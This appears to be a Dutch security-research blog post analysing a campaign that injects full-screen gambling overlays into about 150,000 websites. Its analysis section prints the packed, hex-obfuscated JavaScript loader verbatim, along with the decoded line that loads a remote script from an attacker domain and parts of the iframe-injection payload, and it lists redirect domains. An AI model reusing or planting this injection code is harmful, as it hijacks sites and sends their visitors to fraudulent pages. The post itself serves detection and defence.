In februari ontdekten we een dreigingsactor die meer dan 35.000 websites aanviel met een kwaadaardige volledige pagina-kaping. We zijn de activiteiten van deze actor blijven volgen en hebben nieuwe tactieken en technieken geïdentificeerd. Ze hebben hun operaties aanzienlijk opgeschaald: we schatten nu dat ongeveer 150.000 websites zijn getroffen door deze campagne.
Wat is er nieuw aan deze aanval?
UI/UX-wijzigingen
De dreigingsactor heeft hun interface licht vernieuwd, maar maakt nog steeds gebruik van een iframe-injectie om een schermvullende overlay in de browser van de bezoeker te tonen. Hier is een voorbeeld van een van hun meest recente geïnjecteerde pagina's:

Hoewel de visuele vormgeving en indeling kunnen verschillen, blijft de onderliggende injectiemethode in de kern hetzelfde.

Variaties op hetzelfde thema
Een andere variant van deze aanval vertoont vergelijkbaar gedrag: er worden scripts en iframes geïnjecteerd die legitieme gokwebsites nabootsen, zoals Bet365. In veel gevallen worden officiële logo's en huisstijlelementen hergebruikt om de aanval geloofwaardiger te laten lijken.

HTML-entiteitcodering in de geïnjecteerde code
In statische code wordt de kwaadaardige JavaScript als volgt geïnjecteerd:
<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>
Dit is een voorbeeld van HTML-entiteitcodering, een andere manier om code te verhullen. Het maakt het geïnjecteerde script op het eerste gezicht minder opvallend. Als je dit fragment decodeert naar platte tekst, krijg je:
<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o["\\q\\a\\2\\e\\f\\9\\n\\0"]["\\p\\5\\6\\0\\9"](\'\\k\\1\\2\\5\\6\\3\\0 \\0\\j\\3\\9\\i\\7\\0\\9\\t\\0\\4\\8\\h\\u\\h\\1\\2\\5\\6\\3\\0\\7 \\1\\5\\2\\i\\7\\m\\0\\0\\3\\1\\s\\4\\4\\c\\c\\c\\b\\b\\b\\d\\g\\e\\6\\g\\m\\a\\n\\r\\j\\8\\d\\2\\a\\f\\4\\8\\e\\f\\3\\d\\8\\1\\7\\l\\k\\4\\1\\2\\5\\6\\3\\0\\l\');',31,31,'x74|x73|x63|x70|x2f|x72|x69|x22|x6a|x65|x6f|x66|x38|x2e|x75|x6d|x7a|x61|x3d|x79|x3c|x3e|x68|x6e|window|x77|x64|x67|x3a|x78|x76'.split('|'),0,{}))
Je kunt HTML-entiteitgecodeerde tekst decoderen met gratis tools zoals CyberChef.
Binnen deze aanval bevindt zich ook JavaScript dat zichzelf decodeert naar:
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](
'\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x38\x38\x38\x66\x66\x66\x2e\x7a\x75\x69\x7a\x68\x6f\x6e\x67\x79\x6a\x2e\x63\x6f\x6d\x2f\x6a\x75\x6d\x70\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'
);
Wat uiteindelijk het volgende schrijft:
<script type="text/javascript" src="hxxps://888fff.zuizhongyj[.]com/jump.js"></script>
Aanvallers gebruiken obfuscatie om de ware aard van het script te verbergen voor snelle scans of minder geavanceerde detectiemethoden.
Analyse van de uiteindelijke JavaScript-payload
Hieronder staan enkele belangrijke kenmerken van het eindscript:
Trefwoordgebaseerde detectielogica Het script definieert een reeks trefwoorden gerelateerd aan weddenschappen, gokken en casinomerken, zowel in het Engels als in het Chinees (bijv. bet365, WilliamHill, tyc, bwin, 12bet, w88, 宝威, 太阳城).
Vervolgens wordt de <title>-tag van de huidige pagina vergeleken met deze lijst:
var keyWord = [
{ key: [...], id: 1 },
...
];
b = document.getElementsByTagName("title")[0].innerText;
if (b.match(new RegExp(keyWord[i].key[j], 'ig')) != null) {
a = keyWord[i].id;
c = '?id=';
...
}
Zodra een overeenkomst wordt gevonden, stelt het script een ID-parameter (?id=) in voor gebruik in de volgende fase van de omleiding.
Viewport-tag afdwinging
De code bevat handleViewportTag(); plus een mutation observer en een setInterval-aanroep om herhaaldelijk een mobielvriendelijke viewport in te voegen:
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">
Dit zorgt ervoor dat de schermvullende overlay correct wordt weergegeven op mobiele apparaten.
Schermvullende overlay + iframe-injectie
Het script van de aanvaller maakt een <div class="lbb"> aan die het volledige scherm bedekt (via CSS position: fixed; z-index: 9999; ...) en injecteert een schermvullend <iframe>:
var web = 'https://888fff.zuizhongyj.com/' + c + a;
document.write('<iframe src="'+web+'" ... ></iframe>');
Iedereen die de gecompromitteerde site bezoekt, ziet de kwaadaardige gok-landingspagina in plaats van de legitieme pagina-inhoud.
Omleidingsdoelen
Tijdens de analyse hebben we meerdere omleidings-URL's waargenomen, waaronder:
hxxps://551007t[.]cc/


hxxps://t399229[.]com/

hxxps://www.wa38di[.]com:7443/other/restrictionIp?name=access-caveat

(Eerder gezien in andere campagnes)
hxxps://W88in[.]com

hxxps://b217102[.]cc/

hxxps://g977115[.]com/

hxxps://lucky298[.]com/
Verschillende van deze sites blokkeren selectief verkeer uit bepaalde regio's, wat ons doet vermoeden dat de primaire doelgroep Chinees sprekende gebruikers in China, Hongkong en de Verenigde Staten zijn.
Omvang van de aanval: 150.000 websites (en groeiende)
Door gebruik te maken van openbare zoektools (bijv. PublicWWW) hebben we alle websites geclusterd die het geobfusceerde scriptfragment bevatten. Op het moment van onze analyse identificeerden we meer dan 150.000 unieke sites. Je kunt een live zoekopdracht van deze infecties hier bekijken.
Deze aanval laat zien hoe dreigingsactoren zich voortdurend aanpassen, hun bereik vergroten en nieuwe lagen van obfuscatie toepassen. Client-side aanvallen zoals deze nemen toe, met elke dag meer nieuwe bevindingen.
Als je vermoedt dat jouw site mogelijk is getroffen, controleer dan alle scripts op verborgen HTML-entiteitcodering of verdachte <iframe>-injecties. Zoals altijd blijven voortdurende waakzaamheid en regelmatige site-audits je beste verdediging tegen dit soort aanvallen.









